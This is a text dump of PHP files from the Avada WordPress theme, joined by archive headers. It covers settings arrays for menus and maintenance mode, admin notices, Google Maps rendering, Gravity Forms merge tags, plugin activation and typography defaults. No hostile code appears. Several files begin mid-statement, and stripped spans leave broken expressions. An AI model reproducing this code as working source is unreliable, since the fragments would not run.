'Mega Menu Thumbnail Size', 'Avada' ), 'description' => esc_html__( 'Controls the width and height of the top-level mega menu thumbnails. Use "auto" for automatic resizing if you added either width or height.', 'Avada' ), 'id' => 'menu_thumbnail_size', 'units' => false, 'default' => [ 'width' => '26px', 'height' => '14px', ], 'type' => 'dimensions', 'required' => [ [ 'setting' => 'disable_megamenu', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--menu_thumbnail_size-width', 'choice' => 'width', 'element' => '.fusion-main-menu', ], [ 'name' => '--menu_thumbnail_size-height', 'choice' => 'height', 'element' => '.fusion-main-menu', ], ], ], ], ], ]; $sections['menu']['fields'] = array_merge( $sections['menu']['fields'], $fields ); return $sections; } Avada/includes/options/maintenance.php000064400000012536152342437700014072 0ustar00get_user_role_names() : []; $templates = function_exists( 'AWB_Maintenance_Mode' ) ? AWB_Maintenance_Mode()->get_library_templates() : [ 'titles' => [], 'permalinks' => [], ]; $sections['maintenance'] = [ 'label' => esc_html__( 'Maintenance Mode', 'Avada' ), 'id' => 'heading_maintenance', 'priority' => 26, 'icon' => 'el-icon-off', 'alt_icon' => 'fusiona-power-off', 'fields' => [ 'maintenance_mode' => [ 'label' => esc_html__( 'Mode', 'Avada' ), 'description' => esc_html__( 'Set your site to Maintenance Mode to take it offline temporarily (status code 503), or to Coming Soon mode (status code 200), taking it offline until it is ready to be launched.', 'Avada' ), 'id' => 'maintenance_mode', 'default' => '', 'type' => 'radio-buttonset', 'choices' => [ '' => esc_html__( 'Off', 'Avada' ), 'maintenance' => esc_html__( 'Maintenance', 'Avada' ), 'coming_soon' => esc_html__( 'Coming Soon', 'Avada' ), ], ], 'maintenance_redirect_url' => [ 'label' => esc_html__( 'URL Redirect', 'Avada' ), 'description' => esc_html__( 'If set, this option will redirect users without access to the URL given. Enter with protocol (e.g. https://).', 'Avada' ), 'id' => 'maintenance_redirect_url', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], ], ], 'maintenance_template' => [ 'label' => esc_html__( 'Page Template', 'Avada' ), 'description' => esc_html__( 'Select an Avada Library template for the Maintenance or Coming Soon page.', 'Avada' ), 'id' => 'maintenance_template', 'default' => '0', 'type' => 'select', 'choices' => $templates['titles'], 'quick_edit' => [ 'label' => esc_html__( 'Edit Template', 'Avada' ), 'type' => 'template', 'items' => $templates['permalinks'], ], 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'maintenance_redirect_url', 'operator' => '=', 'value' => '', ], ], ], 'maintenance_user_roles' => [ 'label' => esc_html__( 'User Roles For Access', 'Avada' ), 'description' => __( 'Select the user roles that should be able to access the site when. NOTE: Administrators will always have access.', 'Avada' ), 'id' => 'maintenance_user_roles', 'default' => '', 'type' => 'select', 'multi' => true, 'choices' => $user_roles, 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], ], ], 'maintenance_exclude' => [ 'label' => esc_html__( 'Exclude', 'Avada' ), 'description' => esc_html__( 'Exclude parts of your site like feed, pages, or archives from Maintenance or Coming Soon mode. Add one slug or URL per line.', 'Avada' ), 'id' => 'maintenance_exclude', 'default' => '', 'type' => 'textarea', 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], ], ], 'maintenance_page_title' => [ 'label' => esc_html__( 'Page Title HTML Tag', 'Avada' ), 'description' => esc_html__( 'This will also be used in the default page template. Leave empty for default title.', 'Avada' ), 'id' => 'maintenance_page_title', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'maintenance_redirect_url', 'operator' => '=', 'value' => '', ], ], ], 'maintenance_robots_meta' => [ 'label' => esc_html__( 'Robots Meta Tag', 'Avada' ), 'description' => esc_html__( 'Decide whether the Maintenance or Coming Soon page should get indexed by search engines.', 'Avada' ), 'id' => 'maintenance_robots_meta', 'default' => 'noindex', 'type' => 'radio-buttonset', 'choices' => [ 'index' => esc_html__( 'Index/Follow', 'Avada' ), 'noindex' => esc_html__( 'Noindex/Nofollow', 'Avada' ), ], 'required' => [ [ 'setting' => 'maintenance_mode', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'maintenance_redirect_url', 'operator' => '=', 'value' => '', ], ], ], ], ]; return $sections; } Avada/includes/class-avada-admin-notices.php000064400000006261152342437700015022 0ustar00 wp_create_nonce( 'avada_admin_notice' ), ]; $vars = array_merge( $vars, $this->admin_notices_textdomain_strings() ); wp_enqueue_script( 'avada-admin-notices', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/avada-admin-notices.js', [ 'jquery', 'common' ], $version, true ); wp_localize_script( 'avada-admin-notices', 'avadaAdminNotices', $vars ); } /** * Prepare text domain strings for admin notices. * * @access public * @since 5.3 */ public function admin_notices_textdomain_strings() { $text_strings = [ /* translators: The "Fusion Documentation" link. */ 'deprecated_side_nav_teamplate' => sprintf( __( 'The \'Side Navigation\' page template will be deprecated in a future version of Avada. We have replaced it with a better solution, the Avada Vertical Menu widget. This new widget offers the same features but with greater flexibility. It works with the WP menu system. Please utilize this new method instead of the page template which will eventually be removed.', 'Avada' ), 'https://avada.com/documentation/avada-vertical-and-horizontal-menu-widgets/' ), ]; return $text_strings; } /** * Ajax request handler for notices dismissal. * * @access public * @since 5.3 */ public function dismiss_admin_notice() { check_ajax_referer( 'avada_admin_notice', 'nonce' ); if ( ! empty( $_POST ) ) { $avada_admin_notices = get_transient( 'avada_admin_notices' ); $avada_admin_notices = ( false === $avada_admin_notices ? [] : $avada_admin_notices ); $option_name = ''; if ( isset( $_POST['option_name'] ) ) { $option_name = sanitize_text_field( wp_unslash( $_POST['option_name'] ) ); if ( ! array_key_exists( $option_name, $avada_admin_notices ) ) { $avada_admin_notices[ $option_name ] = 'dismissed'; } set_transient( 'avada_admin_notices', $avada_admin_notices, 0 ); } } wp_die(); } /** * Check if notice if active. * * @access static * @since 5.3 * @param string $option_name name of notice. * @return bool */ public static function is_admin_notice_active( $option_name ) { $avada_admin_notices = get_transient( 'avada_admin_notices' ); if ( is_array( $avada_admin_notices ) && array_key_exists( $option_name, $avada_admin_notices ) ) { return false; } else { return true; } } } Avada/includes/class-avada-googlemap.php000064400000041505152342437700014242 0ustar00 $value ) { if ( '' === $value ) { $args[ $key ] = $defaults[ $key ]; } } return $args; } /** * Function to apply attributes to HTML tags. * Devs can override attributes in a child theme by using the correct slug * * @param string $slug Slug to refer to the HTML tag. * @param array $attributes Attributes for HTML tag. * @return string */ public static function attributes( $slug, $attributes = [] ) { $out = ''; $attr = apply_filters( "fusion_attr_{$slug}", $attributes ); if ( empty( $attr ) ) { $attr['class'] = $slug; } foreach ( $attr as $name => $value ) { if ( empty( $value ) ) { $out .= ' ' . esc_html( $name ); } else { $out .= ' ' . esc_html( $name ) . '="' . esc_attr( $value ) . '"'; } } return trim( $out ); } /** * JS API render method. * * @access public * @since 5.6 * @return string The needed map data. */ public function use_js_api() { extract( self::$args ); $html = ''; if ( $address ) { $addresses = explode( '|', $address ); $infobox_content = ( ! in_array( $map_style, [ 'default', 'theme' ], true ) ) ? html_entity_decode( $infobox_content ) : ''; $infobox_content_array = ( $infobox_content ) ? explode( '|', $infobox_content ) : ''; $icon_array = ( $icon && 'default' !== $infobox ) ? explode( '|', $icon ) : ''; if ( ! empty( $addresses ) ) { self::$args['address'] = $addresses; } $num_of_addresses = count( $addresses ); if ( $icon && false === strpos( $icon, '|' ) && 'default' !== $infobox ) { for ( $i = 0; $i < $num_of_addresses; $i++ ) { $icon_array[ $i ] = $icon; } } if ( 'theme' === $map_style ) { $map_style = 'custom'; $icon = 'theme'; $animation = 'yes'; $infobox = 'custom'; $color_obj = Fusion_Color::new_color( Avada()->settings->get( 'primary_color' ) ); $infobox_background_color = 'rgba(' . $color_obj->red . ', ' . $color_obj->green . ', ' . $color_obj->blue . ', 0.8)'; $overlay_color = $color_obj->color; $brightness_level = $color_obj->brightness['level']; $infobox_text_color = ( $brightness_level > 140 ) ? '#fff' : '#747474'; } elseif ( 'custom' === $map_style ) { $overlay_color = Avada()->settings->get( 'map_overlay_color' ); $color_obj = Fusion_Color::new_color( $overlay_color ); if ( 0 === $color_obj->alpha ) { $overlay_color = ''; } elseif ( 1 > $color_obj->alpha ) { $overlay_color = $color_obj->get_new( 'lightness', $color_obj->lightness + absint( 100 * ( 1 - $color_obj->alpha ) ) )->to_css( 'hex' ); } } if ( 'theme' === $icon && 'custom' === $map_style ) { for ( $i = 0; $i < $num_of_addresses; $i++ ) { $icon_array[ $i ] = Avada::$template_dir_url . '/assets/images/avada_map_marker.png'; } } if ( wp_script_is( 'google-maps-api', 'registered' ) ) { wp_print_scripts( 'google-maps-api' ); if ( wp_script_is( 'google-maps-infobox', 'registered' ) ) { wp_print_scripts( 'google-maps-infobox' ); } } foreach ( self::$args['address'] as $add ) { $add = trim( $add ); $add_arr = explode( "\n", $add ); $add_arr = array_filter( $add_arr, 'trim' ); $add = implode( '
', $add_arr ); $add = str_replace( "\r", '', $add ); $add = str_replace( "\n", '', $add ); $coordinates[]['address'] = $add; } if ( ! is_array( $coordinates ) ) { return; } for ( $i = 0; $i < $num_of_addresses; $i++ ) { if ( 0 === strpos( self::$args['address'][ $i ], 'latlng=' ) ) { self::$args['address'][ $i ] = $coordinates[ $i ]['address']; } } if ( is_array( $infobox_content_array ) && ! empty( $infobox_content_array ) ) { for ( $i = 0; $i < $num_of_addresses; $i++ ) { if ( ! array_key_exists( $i, $infobox_content_array ) ) { $infobox_content_array[ $i ] = self::$args['address'][ $i ]; } } self::$args['infobox_content'] = $infobox_content_array; } else { self::$args['infobox_content'] = self::$args['address']; } $cached_addresses = get_option( 'fusion_map_addresses' ); foreach ( self::$args['address'] as $key => $address ) { $json_addresses[] = [ 'address' => $address, 'infobox_content' => self::$args['infobox_content'][ $key ], ]; if ( isset( $icon_array ) && is_array( $icon_array ) ) { $json_addresses[ $key ]['marker'] = $icon_array[ $key ]; } if ( false !== strpos( $address, strtolower( 'latlng=' ) ) ) { $json_addresses[ $key ]['address'] = str_replace( 'latlng=', '', $address ); $lat_lng = explode( ',', $json_addresses[ $key ]['address'] ); $json_addresses[ $key ]['coordinates'] = true; $json_addresses[ $key ]['latitude'] = $lat_lng[0]; $json_addresses[ $key ]['longitude'] = $lat_lng[1]; $json_addresses[ $key ]['cache'] = false; if ( false !== strpos( self::$args['infobox_content'][ $key ], strtolower( 'latlng=' ) ) ) { $json_addresses[ $key ]['infobox_content'] = ''; } if ( isset( $cached_addresses[ trim( $json_addresses[ $key ]['latitude'] . ',' . $json_addresses[ $key ]['longitude'] ) ] ) ) { $json_addresses[ $key ]['geocoded_address'] = $cached_addresses[ trim( $json_addresses[ $key ]['latitude'] . ',' . $json_addresses[ $key ]['longitude'] ) ]['address']; $json_addresses[ $key ]['cache'] = true; } } else { $json_addresses[ $key ]['coordinates'] = false; $json_addresses[ $key ]['cache'] = false; if ( isset( $cached_addresses[ trim( $json_addresses[ $key ]['address'] ) ] ) ) { $json_addresses[ $key ]['latitude'] = $cached_addresses[ trim( $json_addresses[ $key ]['address'] ) ]['latitude']; $json_addresses[ $key ]['longitude'] = $cached_addresses[ trim( $json_addresses[ $key ]['address'] ) ]['longitude']; $json_addresses[ $key ]['cache'] = true; } } } $json_addresses = wp_json_encode( $json_addresses ); $map_id = uniqid( 'fusion_map_' ); // Generate a unique ID for this map. $this->map_id = $map_id; ob_start(); ?>
attributes( 'avada-google-map' ) . '>
'; } else { $html = ob_get_clean() . '
attributes( 'avada-google-map' ) . '>
'; } } Fusion_Dynamic_JS::enqueue_script( 'fusion-google-map', FUSION_LIBRARY_URL . '/assets/min/js/general/fusion-google-map.js', FUSION_LIBRARY_PATH . '/assets/min/js/general/fusion-google-map.js', [ 'jquery-fusion-maps' ], Avada::get_theme_version(), true ); return $html; } /** * Embed API render method. * * @access public * @since 5.6 * @return string The needed map data. */ public function use_embed_api() { $html = ''; $api_key = apply_filters( 'fusion_google_maps_api_key', Avada()->settings->get( 'gmap_api' ) ); $embed_address = str_replace( ' ', '+', self::$args['embed_address'] ); $lang_code = fusion_get_google_maps_language_code(); $html .= ''; $html = '
attributes( 'avada-google-map' ) . '>' . $html . '
'; return $html; } /** * Render the shortcode. * * @access public * @param array $args Shortcode parameters. * @param string $content Content between shortcode. * @return string HTML output. */ public function render_map( $args, $content = '' ) { if ( ! Avada()->settings->get( 'status_gmap' ) ) { return ''; } $defaults = $this->set_shortcode_defaults( [ 'api_type' => 'js', 'embed_address' => '', 'embed_map_type' => '', 'class' => '', 'id' => '', 'animation' => 'no', 'address' => '', 'address_pin' => 'yes', 'height' => '300px', 'icon' => '', 'infobox' => '', 'infobox_background_color' => '', 'infobox_content' => '', 'infobox_text_color' => '', 'map_style' => '', 'overlay_color' => '', 'popup' => 'yes', 'scale' => 'yes', 'scrollwheel' => 'yes', 'type' => 'roadmap', 'width' => '100%', 'zoom' => '14', 'zoom_pancontrol' => 'yes', ], $args ); self::$args = $defaults; if ( 'js' === self::$args['api_type'] ) { $html = $this->use_js_api(); $html = apply_filters( 'privacy_script_embed', $html, 'gmaps', true, self::$args['width'], self::$args['height'] ); } else { $html = $this->use_embed_api(); $html = apply_filters( 'privacy_iframe_embed', $html ); } return $html; } /** * Modifies attributes. * * @access public * @return array */ public function attr() { $attr['class'] = 'shortcode-map fusion-google-map avada-google-map'; if ( self::$args['class'] ) { $attr['class'] .= ' ' . self::$args['class']; } if ( 'embed' === self::$args['api_type'] ) { $attr['class'] .= ' fusion-maps-embed-type'; } $attr['id'] = $this->map_id; $attr['style'] = 'height:' . self::$args['height'] . ';width:' . self::$args['width'] . ';'; return $attr; } /** * Caches google maps. * * @access public * @return void */ public function fusion_cache_map() { check_ajax_referer( 'avada_admin_ajax', 'security' ); // Check that the user has the right permissions. if ( ! current_user_can( 'manage_options' ) ) { return; } $addresses_to_cache = get_option( 'fusion_map_addresses' ); $post_addresses = isset( $_POST['addresses'] ) ? wp_unslash( $_POST['addresses'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput foreach ( $post_addresses as $address ) { if ( isset( $address['latitude'] ) && isset( $address['longitude'] ) ) { $addresses_to_cache[ trim( $address['address'] ) ] = [ 'address' => trim( $address['address'] ), 'latitude' => esc_attr( $address['latitude'] ), 'longitude' => esc_attr( $address['longitude'] ), ]; if ( isset( $address['geocoded_address'] ) && $address['geocoded_address'] ) { $addresses_to_cache[ trim( $address['address'] ) ]['address'] = $address['geocoded_address']; } } } update_option( 'fusion_map_addresses', $addresses_to_cache ); wp_die(); } /** * Adds a map before the content. * * @access public * @since 1.0 * @return void */ public function before_main_container() { if ( is_page_template( 'contact.php' ) && Avada()->settings->get( 'recaptcha_public' ) && Avada()->settings->get( 'recaptcha_private' ) ) { echo ''; } $is_address_set = ( 'js' === Avada()->settings->get( 'gmap_api_type' ) && Avada()->settings->get( 'gmap_address' ) ) || ( 'embed' === Avada()->settings->get( 'gmap_api_type' ) && Avada()->settings->get( 'gmap_embed_address' ) ); if ( is_page_template( 'contact.php' ) && Avada()->settings->get( 'status_gmap' ) && $is_address_set ) { $map_args = [ 'api_type' => esc_html( Avada()->settings->get( 'gmap_api_type' ) ), 'embed_address' => esc_html( Avada()->settings->get( 'gmap_embed_address' ) ), 'embed_map_type' => esc_html( Avada()->settings->get( 'gmap_embed_map_type' ) ), 'address' => esc_html( Avada()->settings->get( 'gmap_address' ) ), 'type' => esc_attr( Avada()->settings->get( 'gmap_type' ) ), 'address_pin' => ( Avada()->settings->get( 'map_pin' ) ) ? 'yes' : 'no', 'animation' => ( Avada()->settings->get( 'gmap_pin_animation' ) ) ? 'yes' : 'no', 'map_style' => esc_attr( Avada()->settings->get( 'map_styling' ) ), 'overlay_color' => esc_attr( Avada()->settings->get( 'map_overlay_color' ) ), 'infobox' => esc_attr( Avada()->settings->get( 'map_infobox_styling' ) ), 'infobox_background_color' => esc_attr( Avada()->settings->get( 'map_infobox_bg_color' ) ), 'infobox_text_color' => esc_attr( Avada()->settings->get( 'map_infobox_text_color' ) ), 'infobox_content' => htmlentities( Avada()->settings->get( 'map_infobox_content' ) ), 'icon' => esc_attr( Avada()->settings->get( 'map_custom_marker_icon' ) ), 'width' => esc_attr( Avada()->settings->get( 'gmap_dimensions', 'width' ) ), 'height' => esc_attr( Avada()->settings->get( 'gmap_dimensions', 'height' ) ), 'zoom' => esc_attr( Avada()->settings->get( 'map_zoom_level' ) ), 'scrollwheel' => ( Avada()->settings->get( 'map_scrollwheel' ) ) ? 'yes' : 'no', 'scale' => ( Avada()->settings->get( 'map_scale' ) ) ? 'yes' : 'no', 'zoom_pancontrol' => ( Avada()->settings->get( 'map_zoomcontrol' ) ) ? 'yes' : 'no', 'popup' => ( ! Avada()->settings->get( 'map_popup' ) ) ? 'yes' : 'no', ]; echo '
' . $this->render_map( $map_args ) . '
'; // phpcs:ignore WordPress.Security.EscapeOutput } } } Avada/includes/class-avada-gravity-forms-tags-merger.php000064400000021243152342437700017311 0ustar00_args = wp_parse_args( $args, [ 'auto_append_eid' => true, // Boolean or array of form IDs. 'encrypt_eid' => true, ] ); add_filter( 'the_content', [ $this, 'replace_merge_tags' ], 1 ); add_filter( 'gform_replace_merge_tags', [ $this, 'replace_encrypt_entry_id_merge_tag' ], 10, 3 ); if ( ! empty( $this->_args['auto_append_eid'] ) ) { add_filter( 'gform_confirmation', [ $this, 'append_eid_parameter' ], 20, 3 ); } } /** * Creates or returns an instance of this class. * * @static * @access public * @since 5.1 * @param array $args Array of bool auto_append_eid and encrypt_eid. * @return object $instance Instance of this class. */ public static function get_instance( $args = [] ) { if ( ! self::$instance ) { self::$instance = new self( $args ); } return self::$instance; } /** * Replaces the merged tags. * * @access public * @since 5.1 * @param string $post_content Content of the post. * @return string $post_content Content of the post with variables replaced. */ public function replace_merge_tags( $post_content ) { $entry = $this->get_entry(); if ( ! $entry ) { return $post_content; } $form = GFFormsModel::get_form_meta( $entry['form_id'] ); $post_content = $this->replace_field_label_merge_tags( $post_content, $form ); $post_content = GFCommon::replace_variables( $post_content, $form, $entry, false, false, false ); return $post_content; } /** * Replaces field labels in text. * * @access public * @since 5.1 * @param string $text Content of the post. * @param string $form Content of the form. * @return string $text Updated content of the post. */ public function replace_field_label_merge_tags( $text, $form ) { preg_match_all( '/{([^:]+?)}/', $text, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return $text; } foreach ( $matches as $match ) { list( $search, $field_label ) = $match; foreach ( $form['fields'] as $field ) { $full_input_id = false; $matches_admin_label = rgar( $field, 'adminLabel' ) === $field_label; $matches_field_label = false; if ( is_array( $field['inputs'] ) ) { foreach ( $field['inputs'] as $input ) { if ( GFFormsModel::get_label( $field, $input['id'] ) === $field_label ) { $matches_field_label = true; $input_id = $input['id']; break; } } } else { $matches_field_label = GFFormsModel::get_label( $field ) === $field_label; $input_id = $field['id']; } if ( ! $matches_admin_label && ! $matches_field_label ) { continue; } $replace = sprintf( '{%s:%s}', $field_label, (string) $input_id ); $text = str_replace( $search, $replace, $text ); break; } } return $text; } /** * Replaces encrypted entry id. * * @access public * @since 5.1 * @param string $text Content of the post. * @param string $form Content of the form. * @param object $entry Form entry object. * @return string $text Entry content. */ public function replace_encrypt_entry_id_merge_tag( $text, $form, $entry ) { if ( false === strpos( $text, '{encrypted_entry_id}' ) ) { return $text; } // $entry is not always a "full" entry. $entry_id = rgar( $entry, 'id' ); if ( $entry_id ) { $entry_id = $this->prepare_eid( $entry['id'], true ); } return str_replace( '{encrypted_entry_id}', $entry_id, $text ); } /** * Appends eid parameter if enabled. * * @access public * @since 5.1 * @param string|array $confirmation Message or content. * @param string $form Content of the form. * @param object $entry Form entry object. * @return string|array $confirmation Confirmation content. */ public function append_eid_parameter( $confirmation, $form, $entry ) { $is_ajax_redirect = is_string( $confirmation ) && strpos( $confirmation, 'gformRedirect' ); $is_redirect = is_array( $confirmation ) && isset( $confirmation['redirect'] ); if ( ! $this->is_auto_eid_enabled( $form ) || ! ( $is_ajax_redirect || $is_redirect ) ) { return $confirmation; } $eid = $this->prepare_eid( $entry['id'] ); if ( $is_ajax_redirect ) { preg_match_all( '/gformRedirect.+?(http.+?)(?=\'|")/', $confirmation, $matches, PREG_SET_ORDER ); list( $full_match, $url ) = $matches[0]; $redirect_url = add_query_arg( [ 'eid' => $eid, ], $url ); $confirmation = str_replace( $url, $redirect_url, $confirmation ); } else { $redirect_url = add_query_arg( [ 'eid' => $eid, ], $confirmation['redirect'] ); $confirmation['redirect'] = $redirect_url; } return $confirmation; } /** * Prepares eid if enabled. * * @access public * @since 5.1 * @param string $entry_id ID of the form entry. * @param bool $force_encrypt Flag for encryption enforcement. * @return string $eid updated Form entry ID. */ public function prepare_eid( $entry_id, $force_encrypt = false ) { $eid = $entry_id; $do_encrypt = $force_encrypt || $this->_args['encrypt_eid']; if ( $do_encrypt && is_callable( [ 'GFCommon', 'openssl_encrypt' ] ) ) { $eid = rawurlencode( GFCommon::openssl_encrypt( $eid ) ); } elseif ( $do_encrypt && is_callable( [ 'GFCommon', 'encrypt' ] ) ) { $eid = rawurlencode( GFCommon::encrypt( $eid ) ); } return $eid; } /** * Gets form entry. * * @access public * @since 5.1 * @return bool|object $entryEntry Object and false if none available. */ public function get_entry() { if ( ! self::$entry ) { $entry_id = $this->get_entry_id(); if ( ! $entry_id ) { return false; } $entry = GFFormsModel::get_lead( $entry_id ); if ( empty( $entry ) ) { return false; } self::$entry = $entry; } return self::$entry; } /** * Gets ID of form entry. * * @access public * @since 5.1 * @return string|bool $entry_id ID of the entry or false. */ public function get_entry_id() { $entry_id = rgget( 'eid' ); if ( $entry_id ) { return $this->maybe_decrypt_entry_id( $entry_id ); } $post = get_post(); if ( $post ) { $entry_id = get_post_meta( $post->ID, '_gform-entry-id', true ); } return $entry_id ? $entry_id : false; } /** * Decrypts entry ID of form if encryption is enabled. * * @access public * @since 5.1 * @param string $entry_id ID of the form entry. * @return int|string $entry_id Decrypted ID of the entry. */ public function maybe_decrypt_entry_id( $entry_id ) { // if encryption is enabled, 'eid' parameter MUST be encrypted. $do_encrypt = $this->_args['encrypt_eid']; if ( ! $entry_id ) { return null; } elseif ( ! $do_encrypt && is_numeric( $entry_id ) && intval( $entry_id ) > 0 ) { return $entry_id; } else { if ( is_callable( [ 'GFCommon', 'openssl_decrypt' ] ) ) { $entry_id = rawurlencode( GFCommon::openssl_decrypt( $entry_id ) ); } elseif ( is_callable( [ 'GFCommon', 'decrypt' ] ) ) { $entry_id = rawurlencode( GFCommon::decrypt( $entry_id ) ); } return intval( $entry_id ); } } /** * Checks if auto entry ID is enabled. * * @access public * @since 5.1 * @param string $form Content of the form. * @return bool */ public function is_auto_eid_enabled( $form ) { $auto_append_eid = $this->_args['auto_append_eid']; if ( is_bool( $auto_append_eid ) && true === $auto_append_eid ) { return true; } if ( is_array( $auto_append_eid ) && in_array( $form['id'], $auto_append_eid ) ) { // phpcs:ignore WordPress.PHP.StrictInArray return true; } return false; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/avada-tgm.php000064400000016672152342437700011763 0ustar00remote_install->get_package( $plugin['name'] ) : 'bundled'; } else { $plugins_info[ $plugin['slug'] ]['source'] = 'repo'; } } } return $plugins_info; } /** * Require the installation of any required and/or recommended third-party plugins here. * See http://tgmpluginactivation.com/ for more details */ function avada_register_required_and_recommended_plugins() { // Get all required and recommended plugins. $plugins = avada_get_required_and_recommened_plugins(); // Change this to your theme text domain, used for internationalising strings. $theme_text_domain = 'Avada'; /** * Array of configuration settings. Amend each line as needed. * If you want the default strings to be available under your own theme domain, * leave the strings uncommented. * Some of the strings are added into a sprintf, so see the comments at the * end of each line for what each argument will be. */ $config = [ 'domain' => $theme_text_domain, 'default_path' => '', 'parent_slug' => 'avada', 'menu' => 'avada-plugins', 'has_notices' => true, 'is_automatic' => true, 'message' => '', 'strings' => [ 'page_title' => __( 'Install/Update Required Plugins', 'Avada' ), 'menu_title' => __( 'Install Plugins', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'installing' => __( 'Installing Plugin: %s', 'Avada' ), 'oops' => __( 'Something went wrong with the plugin API.', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_can_install_required' => _n_noop( 'Avada requires the following plugin installed: %1$s.', 'Avada requires the following plugins installed: %1$s.', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_can_install_recommended' => _n_noop( str_replace( '{{system-status}}', admin_url( 'admin.php?page=avada-status' ), 'This theme recommends the following plugin installed or updated: %1$s.
IMPORTANT: If your hosting plan has low resources, activating additional plugins can lead to fatal "out of memory" errors. We recommend at least 128MB of memory. Check your resources on the System Status page.' ), str_replace( '{{system-status}}', admin_url( 'admin.php?page=avada-status' ), 'Avada recommends the following plugins installed or updated: %1$s.
IMPORTANT: If your hosting plan has low resources, activating additional plugins can lead to fatal "out of memory" errors. We recommend at least 128MB of memory. Check your resources on the System Status page.' ), 'Avada' ), // phpcs:ignore /* translators: %1$s = plugin name(s) */ 'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_can_activate_recommended' => _n_noop( str_replace( '{{system-status}}', admin_url( 'admin.php?page=avada-status' ), 'The following recommended plugin is currently inactive: %1$s.
IMPORTANT: If your hosting plan has low resources, activating additional plugins can lead to fatal "out of memory" errors. We recommend at least 128MB of memory. Check your resources on the System Status page.' ), str_replace( '{{system-status}}', admin_url( 'admin.php?page=avada-status' ), 'The following recommended plugins are currently inactive: %1$s.
IMPORTANT: If your hosting plan has low resources, activating additional plugins can lead to fatal "out of memory" errors. We recommend at least 128MB of memory. Check your resources on the System Status page.' ), 'Avada' ), // phpcs:ignore /* translators: %1$s = plugin name(s) */ 'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to ensure maximum compatibility with Avada: %1$s', 'The following plugins need to be updated to ensure maximum compatibility with Avada: %1$s', 'Avada' ), /* translators: %1$s = plugin name(s) */ 'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'Avada' ), 'install_link' => _n_noop( 'Go Install Plugin', 'Go Install Plugins', 'Avada' ), 'activate_link' => _n_noop( 'Go Activate Plugin', 'Go Activate Plugins', 'Avada' ), 'return' => __( 'Return to the Avada Plugins page.', 'Avada' ), 'plugin_activated' => __( 'Plugin activated successfully.', 'Avada' ), /* translators: %1$s = dashboard link. */ 'complete' => __( 'All plugins installed and activated successfully. %s', 'Avada' ), 'nag_type' => 'error', // Determines admin notice type - can only be 'updated' or 'error'. ], ]; avada_tgmpa( $plugins, $config ); } add_action( 'tgmpa_register', 'avada_register_required_and_recommended_plugins' ); /** * Returns the user capability for showing the notices. * * @return string */ function avada_tgm_show_admin_notice_capability() { return 'switch_themes'; } add_filter( 'tgmpa_show_admin_notice_capability', 'avada_tgm_show_admin_notice_capability' ); /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-awb-global-typography.php000064400000037605152342437700015437 0ustar00 [ 'label' => 'Headings', 'font-family' => 'Inter', 'font-backup' => 'Arial, Helvetica, sans-serif', 'font-size' => '48px', 'variant' => '600', 'font-weight' => '600', 'font-style' => '', 'line-height' => '1.2', 'letter-spacing' => '-0.015em', 'text-transform' => 'none', 'not_removable' => true, ], 'typography2' => [ 'label' => 'Subheadings', 'font-family' => 'Inter', 'font-backup' => 'Arial, Helvetica, sans-serif', 'font-size' => '24px', 'variant' => '600', 'font-weight' => '600', 'font-style' => '', 'line-height' => '1.1', 'letter-spacing' => '0', 'text-transform' => 'none', 'not_removable' => true, ], 'typography3' => [ 'label' => 'Lead', 'font-family' => 'Inter', 'font-backup' => 'Arial, Helvetica, sans-serif', 'font-size' => '16px', 'variant' => '500', 'font-weight' => '500', 'font-style' => '', 'line-height' => '1.2', 'letter-spacing' => '0.015em', 'text-transform' => 'none', 'not_removable' => true, ], 'typography4' => [ 'label' => 'Body', 'font-family' => 'Inter', 'font-backup' => 'Arial, Helvetica, sans-serif', 'font-size' => '16px', 'variant' => '400', 'font-weight' => '400', 'font-style' => '', 'line-height' => '1.72', 'letter-spacing' => '0.015em', 'text-transform' => 'none', 'not_removable' => true, ], 'typography5' => [ 'label' => 'Small', 'font-family' => 'Inter', 'font-backup' => 'Arial, Helvetica, sans-serif', 'font-size' => '13px', 'variant' => '400', 'font-weight' => '400', 'font-style' => '', 'line-height' => '1.72', 'letter-spacing' => '0.015em', 'text-transform' => 'none', 'not_removable' => true, ], ]; } /** * Ensure the global set vars are loaded for live builder. On real front-end its conditions from elements. * * @access public * @since 7.6 * * @param array $fields Fields to get google fronts from. * @return array */ public function live_builder_fields( $fields ) { // if is the live builder, we want to ensure all global vars are set. if ( fusion_is_preview_frame() || fusion_is_builder_frame() ) { $typography = $this->get_typography(); if ( ! empty( $typography ) ) { foreach ( $typography 